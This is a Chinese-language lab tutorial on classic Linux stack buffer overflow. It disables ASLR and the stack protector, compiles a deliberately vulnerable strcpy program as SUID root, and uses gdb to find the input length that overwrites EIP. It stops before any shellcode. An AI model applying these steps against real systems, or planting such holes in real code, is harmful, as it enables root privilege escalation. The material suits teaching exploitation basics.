在现代 linux 操作系统中,如果没有一些额外的实验,就无法利用缓冲区溢出。
为什么 ?因为在这个现代 GNU C 编译器中,您将被 ASLR(地址堆栈层随机化)和 堆栈保护器 阻止。你不会轻易找到内存,因为内存会落入由ASLR引起的随机内存。如果您尝试溢出程序,您将被堆栈保护器阻止。
首先你需要把 ASLR 设为 0
默认值为 2
root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@bt:~# cat /proc/sys/kernel/randomize_va_space
0
root@bt:~#
在这种情况下,您可能从 Internet 获得的 OLD STYLE 缓冲区溢出教程。或 aleph one 教程现在将不再在您的系统中运行。
现在让程序漏洞应对缓冲区溢出场景
---------------------bof.c--------------------------
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[400];
strcpy(buffer, argv[1]);
return 0;
}
---------------------EOF-----------------------------
查看 strcpy 函数在没有堆栈保护器的情况下是危险的,因为函数没有检查我们将输入多少字节。
使用额外选项 -fno-stack-protector dan -mpreferred-stack-boundary=2 编译以在您的 C 程序中取消堆栈保护器
root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
root@bt:~# chown root:root bof
root@bt:~# chmod 4755 bof
现在我们已经完成了具有 SUID root 访问场景的缓冲区溢出 C 程序。
现在让我们搜索一下我们需要将多少字节放入缓冲区以造成程序分段错误
root@bt:~# ./bof `perl -e 'print "A" x 400'`
root@bt:~# ./bof `perl -e 'print "A" x 403'`
root@bt:~# ./bof `perl -e 'print "A" x 404'`
Segmentation fault
root@bt:~#
你看我们需要 404 字节来制造程序分段错误(崩溃)现在我们需要多少字节来覆盖 EIP ? EIP是指令将在之后执行。所以黑客确实会在程序的二进制 SUID 中覆盖 EIP 以邪恶的指令。如果程序在 SUID 根目录下,该指令将在根目录下运行。
root@bt:~# gdb -q bof
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main(int argc, char** argv)
5 {
6 char buffer[400];
7 strcpy(buffer, argv[1]);
8
9 return 0;
10 }
(gdb) run `perl -e 'print "A" x 404'`
Starting program: /root/bof `perl -e 'print "A" x 404'`
Program received signal SIGSEGV, Segmentation fault.
0xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) run `perl -e 'print "A" x 405'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 405'`
Program received signal SIGSEGV, Segmentation fault.
0xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6
(gdb)
程序 GOT 分段错误返回代码。让我们输入更多字节并查看 EIP 寄存器。
(gdb) run `perl -e 'print "A" x 406'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 406'`
Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()
(gdb)
(gdb) run `perl -e 'print "A" x 407'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 407'`
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb)
还有一点
(gdb) run `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 408'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
(gdb) i r
eax 0x0 0
ecx 0xbffff0b7 -1073745737
edx 0x199 409
ebx 0xb7fc9ff4 -1208180748
esp 0xbffff250 0xbffff250
ebp 0x41414141 0x41414141
esi 0x8048400 134513664
edi 0x8048310 134513424
eip 0x41414141 0x41414141 <-- overwriten !!
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
现在您可以进行下一步了...